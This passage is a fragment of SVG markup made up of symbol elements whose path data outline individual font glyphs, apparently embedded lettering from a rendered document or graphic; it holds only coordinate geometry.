overflow="visible" id="l"><path d="M 3.65625 -3.546875 L 4.078125 -1.59375 L 4.1875 -1.59375 L 4.484375 -3.546875 L 6 -10 L 7.453125 -10 L 5.078125 -1.015625 C 4.890625 -0.296875 4.703125 0.375 4.515625 1 C 4.328125 1.625 4.125 2.164062 3.90625 2.625 C 3.6875 3.082031 3.441406 3.441406 3.171875 3.703125 C 2.898438 3.960938 2.578125 4.09375 2.203125 4.09375 C 1.828125 4.09375 1.5 4.035156 1.21875 3.921875 L 1.453125 2.5625 C 1.640625 2.625 1.828125 2.632812 2.015625 2.59375 C 2.203125 2.5625 2.378906 2.453125 2.546875 2.265625 C 2.710938 2.078125 2.863281 1.796875 3 1.421875 C 3.144531 1.054688 3.269531 0.582031 3.375 0 L 0.140625 -10 L 1.78125 -10 Z M 3.65625 -3.546875"/></symbol><symbol overflow="visible" id="m"><path d="M 1.1875 -10 L 2.203125 -10 L 2.421875 -8.921875 L 2.5 -8.921875 C 2.988281 -9.796875 3.757812 -10.234375 4.8125 -10.234375 C 5.875 -10.234375 6.664062 -9.835938 7.1875 -9.046875 C 7.71875 -8.265625 7.984375 -6.984375 7.984375 -5.203125 C 7.984375 -4.359375 7.894531 -3.597656 7.71875 -2.921875 C 7.539062 -2.253906 7.289062 -1.679688 6.96875 -1.203125 C 6.65625 -0.734375 6.269531 -0.375 5.8125 -0.125 C 5.351562 0.113281 4.84375 0.234375 4.28125 0.234375 C 3.894531 0.234375 3.585938 0.207031 3.359375 0.15625 C 3.128906 0.113281 2.882812 0.0195312 2.625 -0.125 L 2.625 4 L 1.1875 4 Z M 2.625 -1.578125 C 2.8125 -1.421875 3.019531 -1.296875 3.25 -1.203125 C 3.476562 -1.109375 3.789062 -1.0625 4.1875 -1.0625 C 4.882812 -1.0625 5.441406 -1.421875 5.859375 -2.140625 C 6.273438 -2.859375 6.484375 -3.882812 6.484375 -5.21875 C 6.484375 -5.78125 6.445312 -6.285156 6.375 -6.734375 C 6.300781 -7.191406 6.179688 -7.582031 6.015625 -7.90625 C 5.859375 -8.238281 5.65625 -8.492188 5.40625 -8.671875 C 5.164062 -8.847656 4.863281 -8.9375 4.5 -8.9375 C 3.53125 -8.9375 2.90625 -8.34375 2.625 -7.15625 Z M 2.625 -1.578125"/></symbol><symbol overflow="visible" id="n"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="o"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="p"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="q"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="r"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="t"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="u"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="v"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="w"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="R"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="Y"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="aa"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="ab"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="ac"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="ad"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 -4.734375 4.210938 -4.738281 4.078125 -4.75 C 3.941406 -4.757812 3.8125 -4.769531 3.6875 -4.78125 C 3.5625 -4.789062 3.472656 -4.800781 3.421875 -4.8125 L 3.421875 0 L 0.90625 0 Z M 3.421875 -7.078125 C 3.503906 -7.054688 3.65625 -7.035156 3.875 -7.015625 C 4.09375 -6.992188 4.238281 -6.984375 4.3125 -6.984375 C 4.613281 -6.984375 4.894531 -7.019531 5.15625 -7.09375 C 5.425781 -7.175781 5.664062 -7.3125 5.875 -7.5 C 6.082031 -7.695312 6.242188 -7.960938 6.359375 -8.296875 C 6.484375 -8.640625 6.546875 -9.070312 6.546875 -9.59375 C 6.546875 -10.039062 6.488281 -10.414062 6.375 -10.71875 C 6.257812 -11.03125 6.101562 -11.273438 5.90625 -11.453125 C 5.71875 -11.628906 5.492188 -11.753906 5.234375 -11.828125 C 4.984375 -11.910156 4.71875 -11.953125 4.4375 -11.953125 C 4.019531 -11.953125 3.679688 -11.921875 3.421875 -11.859375 Z M 3.421875 -7.078125"/></symbol><symbol overflow="visible" id="ae"><path d="M 0.5 -5 C 0.5 -6.769531 0.84375 -8.085938 1.53125 -8.953125 C 2.226562 -9.828125 3.195312 -10.265625 4.4375 -10.265625 C 5.769531 -10.265625 6.765625 -9.820312 7.421875 -8.9375 C 8.078125 -8.0625 8.40625 -6.75 8.40625 -5 C 8.40625 -3.207031 8.054688 -1.878906 7.359375 -1.015625 C 6.660156 -0.160156 5.6875 0.265625 4.4375 0.265625 C 1.8125 0.265625 0.5 -1.488281 0.5 -5 Z M 2.953125 -5 C 2.953125 -4 3.066406 -3.222656 3.296875 -2.671875 C 3.523438 -2.128906 3.90625 -1.859375 4.4375 -1.859375 C 4.945312 -1.859375 5.320312 -2.09375 5.5625 -2.5625 C 5.8125 -3.039062 5.9375 -3.851562 5.9375 -5 C 5.9375 -6.03125 5.820312 -6.8125 5.59375 -7.34375 C 5.375 -7.875 4.988281 -8.140625 4.4375 -8.140625 C 3.96875 -8.140625 3.601562 -7.898438 3.34375 -7.421875 C 3.082031 -6.953125 2.953125 -6.144531 2.953125 -5 Z M 2.953125 -5"/></symbol><symbol overflow="visible" id="af"><path d="M 5.796875 -3.59375 C 5.796875 -4.019531 5.671875 -4.382812 5.421875 -4.6875 C 5.171875 -4.988281 4.851562 -5.269531 4.46875 -5.53125 C 4.09375 -5.800781 3.679688 -6.078125 3.234375 -6.359375 C 2.785156 -6.640625 2.367188 -6.96875 1.984375 -7.34375 C 1.609375 -7.71875 1.289062 -8.15625 1.03125 -8.65625 C 0.78125 -9.164062 0.65625 -9.785156 0.65625 -10.515625 C 0.65625 -11.203125 0.757812 -11.78125 0.96875 -12.25 C 1.175781 -12.71875 1.457031 -13.101562 1.8125 -13.40625 C 2.175781 -13.707031 2.601562 -13.925781 3.09375 -14.0625 C 3.59375 -14.207031 4.125 -14.28125 4.6875 -14.28125 C 5.363281 -14.28125 5.992188 -14.210938 6.578125 -14.078125 C 7.160156 -13.941406 7.648438 -13.765625 8.046875 -13.546875 L 7.265625 -11.3125 C 7.035156 -11.476562 6.695312 -11.625 6.25 -11.75 C 5.800781 -11.882812 5.316406 -11.953125 4.796875 -11.953125 C 4.273438 -11.953125 3.875 -11.84375 3.59375 -11.625 C 3.320312 -11.414062 3.1875 -11.109375 3.1875 -10.703125 C 3.1875 -10.328125 3.3125 -9.992188 3.5625 -9.703125 C 3.8125 -9.421875 4.125 -9.144531 4.5 -8.875 C 4.882812 -8.613281 5.300781 -8.335938 5.75 -8.046875 C 6.195312 -7.765625 6.609375 -7.429688 6.984375 -7.046875 C 7.367188 -6.671875 7.6875 -6.222656 7.9375 -5.703125 C 8.1875 -5.191406 8.3125 -4.582031 8.3125 -3.875 C 8.3125 -3.164062 8.207031 -2.550781 8 -2.03125 C 7.800781 -1.519531 7.507812 -1.09375 7.125 -0.75 C 6.75 -0.40625 6.289062 -0.148438 5.75 0.015625 C 5.21875 0.191406 4.628906 0.28125 3.984375 0.28125 C 3.148438 0.28125 2.421875 0.195312 1.796875 0.03125 C 1.179688 -0.125 0.707031 -0.300781 0.375 -0.5 L 1.203125 -2.765625 C 1.460938 -2.597656 1.828125 -2.4375 2.296875 -2.28125 C 2.765625 -2.125 3.265625 -2.046875 3.796875 -2.046875 C 5.128906 -2.046875 5.796875 -2.5625 5.796875 -3.59375 Z M 5.796875 -3.59375"/></symbol><symbol overflow="visible" id="ag"><path d="M 0.875 -9.40625 C 1.28125 -9.644531 1.78125 -9.835938 2.375 -9.984375 C 2.976562 -10.128906 3.660156 -10.203125 4.421875 -10.203125 C 5.554688 -10.203125 6.34375 -9.90625 6.78125 -9.3125 C 7.226562 -8.726562 7.453125 -7.894531 7.453125 -6.8125 C 7.453125 -6.1875 7.4375 -5.570312 7.40625 -4.96875 C 7.375 -4.363281 7.347656 -3.769531 7.328125 -3.1875 C 7.316406 -2.601562 7.328125 -2.039062 7.359375 -1.5 C 7.398438 -0.96875 7.492188 -0.460938 7.640625 0.015625 L 5.703125 0.015625 L 5.3125 -1.203125 L 5.234375 -1.203125 C 5.023438 -0.816406 4.726562 -0.492188 4.34375 -0.234375 C 3.957031 0.015625 3.46875 0.140625 2.875 0.140625 C 2.09375 0.140625 1.472656 -0.117188 1.015625 -0.640625 C 0.566406 -1.171875 0.34375 -1.878906 0.34375 -2.765625 C 0.34375 -3.960938 0.769531 -4.8125 1.625 -5.3125 C 2.476562 -5.820312 3.628906 -6.035156 5.078125 -5.953125 C 5.148438 -6.734375 5.101562 -7.296875 4.9375 -7.640625 C 4.769531 -7.984375 4.410156 -8.15625 3.859375 -8.15625 C 3.460938 -8.15625 3.050781 -8.109375 2.625 -8.015625 C 2.195312 -7.921875 1.816406 -7.789062 1.484375 -7.625 Z M 3.734375 -1.90625 C 4.097656 -1.90625 4.390625 -1.992188 4.609375 -2.171875 C 4.835938 -2.347656 5.007812 -2.546875 5.125 -2.765625 L 5.125 -4.421875 C 4.8125 -4.460938 4.515625 -4.46875 4.234375 -4.4375 C 3.953125 -4.414062 3.707031 -4.359375 3.5 -4.265625 C 3.289062 -4.171875 3.117188 -4.03125 2.984375 -3.84375 C 2.859375 -3.664062 2.796875 -3.4375 2.796875 -3.15625 C 2.796875 -2.75 2.878906 -2.4375 3.046875 -2.21875 C 3.210938 -2.007812 3.441406 -1.90625 3.734375 -1.90625 Z M 3.734375 -1.90625"/></symbol><symbol overflow="visible" id="x"><path d="M 1.0625 -1.671875 C 1.289062 -1.515625 1.609375 -1.367188 2.015625 -1.234375 C 2.429688 -1.097656 2.90625 -1.03125 3.4375 -1.03125 C 4.113281 -1.03125 4.660156 -1.191406 5.078125 -1.515625 C 5.492188 -1.847656 5.703125 -2.367188 5.703125 -3.078125 C 5.703125 -3.546875 5.582031 -3.953125 5.34375 -4.296875 C 5.101562 -4.648438 4.800781 -4.972656 4.4375 -5.265625 C 4.082031 -5.554688 3.695312 -5.84375 3.28125 -6.125 C 2.863281 -6.40625 2.472656 -6.71875 2.109375 -7.0625 C 1.753906 -7.40625 1.457031 -7.796875 1.21875 -8.234375 C 0.976562 -8.679688 0.859375 -9.21875 0.859375 -9.84375 C 0.859375 -10.851562 1.160156 -11.597656 1.765625 -12.078125 C 2.378906 -12.566406 3.171875 -12.8125 4.140625 -12.8125 C 4.742188 -12.8125 5.273438 -12.753906 5.734375 -12.640625 C 6.203125 -12.535156 6.582031 -12.398438 6.875 -12.234375 L 6.4375 -11.046875 C 6.226562 -11.179688 5.921875 -11.300781 5.515625 -11.40625 C 5.109375 -11.519531 4.644531 -11.578125 4.125 -11.578125 C 3.476562 -11.578125 3 -11.414062 2.6875 -11.09375 C 2.375 -10.78125 2.21875 -10.382812 2.21875 -9.90625 C 2.21875 -9.476562 2.335938 -9.101562 2.578125 -8.78125 C 2.816406 -8.457031 3.113281 -8.148438 3.46875 -7.859375 C 3.832031 -7.578125 4.21875 -7.285156 4.625 -6.984375 C 5.039062 -6.691406 5.429688 -6.363281 5.796875 -6 C 6.160156 -5.644531 6.460938 -5.238281 6.703125 -4.78125 C 6.941406 -4.332031 7.0625 -3.796875 7.0625 -3.171875 C 7.0625 -2.109375 6.75 -1.273438 6.125 -0.671875 C 5.5 -0.078125 4.613281 0.21875 3.46875 0.21875 C 2.75 0.21875 2.160156 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.671875"/></symbol><symbol overflow="visible" id="y"><path d="M 0.15625 -9 L 1.265625 -9 L 1.265625 -10.78125 L 2.5625 -11.203125 L 2.5625 -9 L 4.5 -9 L 4.5 -7.828125 L 2.5625 -7.828125 L 2.5625 -2.46875 C 2.5625 -1.9375 2.625 -1.550781 2.75 -1.3125 C 2.875 -1.082031 3.078125 -0.96875 3.359375 -0.96875 C 3.597656 -0.96875 3.804688 -0.992188 3.984375 -1.046875 C 4.160156 -1.109375 4.347656 -1.179688 4.546875 -1.265625 L 4.8125 -0.234375 C 4.539062 -0.0976562 4.242188 0.00390625 3.921875 0.078125 C 3.609375 0.160156 3.28125 0.203125 2.9375 0.203125 C 2.332031 0.203125 1.898438 0.0078125 1.640625 -0.375 C 1.390625 -0.769531 1.265625 -1.40625 1.265625 -2.28125 L 1.265625 -7.828125 L 0.15625 -7.828125 Z M 0.15625 -9"/></symbol><symbol overflow="visible" id="z"><path d="M 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.429688 -8.390625 2.648438 -8.660156 2.921875 -8.859375 C 3.191406 -9.054688 3.519531 -9.15625 3.90625 -9.15625 C 4.175781 -9.15625 4.488281 -9.101562 4.84375 -9 L 4.59375 -7.6875 C 4.28125 -7.789062 4.003906 -7.84375 3.765625 -7.84375 C 3.378906 -7.84375 3.066406 -7.734375 2.828125 -7.515625 C 2.585938 -7.296875 2.429688 -7 2.359375 -6.625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9"/></symbol><symbol overflow="visible" id="A"><path d="M 6.4375 -0.609375 C 6.15625 -0.347656 5.789062 -0.144531 5.34375 0 C 4.90625 0.144531 4.4375 0.21875 3.9375 0.21875 C 3.375 0.21875 2.882812 0.109375 2.46875 -0.109375 C 2.0625 -0.335938 1.722656 -0.65625 1.453125 -1.0625 C 1.179688 -1.476562 0.984375 -1.972656 0.859375 -2.546875 C 0.734375 -3.128906 0.671875 -3.78125 0.671875 -4.5 C 0.671875 -6.03125 0.953125 -7.195312 1.515625 -8 C 2.078125 -8.8125 2.875 -9.21875 3.90625 -9.21875 C 4.238281 -9.21875 4.570312 -9.175781 4.90625 -9.09375 C 5.238281 -9.007812 5.535156 -8.835938 5.796875 -8.578125 C 6.054688 -8.328125 6.265625 -7.972656 6.421875 -7.515625 C 6.585938 -7.066406 6.671875 -6.472656 6.671875 -5.734375 C 6.671875 -5.535156 6.660156 -5.316406 6.640625 -5.078125 C 6.628906 -4.847656 6.613281 -4.609375 6.59375 -4.359375 L 2.015625 -4.359375 C 2.015625 -3.835938 2.054688 -3.367188 2.140625 -2.953125 C 2.222656 -2.535156 2.351562 -2.175781 2.53125 -1.875 C 2.71875 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.515625 -1.03125 3.863281 -0.953125 4.28125 -0.953125 C 4.601562 -0.953125 4.921875 -1.007812 5.234375 -1.125 C 5.554688 -1.25 5.800781 -1.394531 5.96875 -1.5625 Z M 5.4375 -5.4375 C 5.457031 -6.332031 5.328125 -6.988281 5.046875 -7.40625 C 4.773438 -7.832031 4.398438 -8.046875 3.921875 -8.046875 C 3.367188 -8.046875 2.929688 -7.832031 2.609375 -7.40625 C 2.285156 -6.988281 2.09375 -6.332031 2.03125 -5.4375 Z M 5.4375 -5.4375"/></symbol><symbol overflow="visible" id="C"><path d="M 0.96875 -8.453125 C 1.320312 -8.671875 1.742188 -8.835938 2.234375 -8.953125 C 2.734375 -9.078125 3.257812 -9.140625 3.8125 -9.140625 C 4.320312 -9.140625 4.726562 -9.0625 5.03125 -8.90625 C 5.332031 -8.757812 5.570312 -8.554688 5.75 -8.296875 C 5.925781 -8.046875 6.039062 -7.753906 6.09375 -7.421875 C 